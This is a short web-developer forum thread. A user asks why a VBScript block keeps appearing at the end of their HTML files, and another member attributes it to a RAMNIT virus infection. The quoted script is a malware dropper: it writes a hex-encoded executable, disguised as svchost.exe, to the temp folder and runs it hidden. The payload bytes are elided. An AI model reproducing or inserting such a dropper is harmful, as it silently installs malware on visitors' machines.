www.webdeveloper.com
Results 1 to 3 of 3

Thread: VBScript gets inserted automatically in HTML page

  1. #1
    Join Date
    Aug 2003
    Posts
    74

    VBScript gets inserted automatically in HTML page

    Hello,

    I created a bunch of html files using Windows Notepad for the purpose of a basic tutorial. What happens is that when I save any of these html files a couple of times, the following VBScript code gets inserted at the end of the file.

    Here's the code that gets inserted:

    Code:
    </html><SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    WriteData = "4D5A9000030000 .. some long long string .. "
    Set FSO = CreateObject("Scripting.FileSystemObject")
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
    End If
    Set WSHshell = CreateObject("WScript.Shell")
    WSHshell.Run DropPath, 0
    //--></SCRIPT>
    What could be the reason, I googled it and found one person having this problem who asked it on a forum. People on the forum were not familiar with this issue.

  2. #2
    Join Date
    Jan 2004
    Location
    chertsey, a small town s.w. of london, england.
    Posts
    1,480
    Hi there akrashdi,

    I am no expert on these matters, but it sounds like you have had a W32/RAMNIT.a infection on your PC.

    Further reading:-


    coothead

  3. #3
    Join Date
    Aug 2003
    Posts
    74
    Thanks,

    So the solution is to wipe out the hard disk and reinstall OS again. But the files that are already infected will remain infected.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles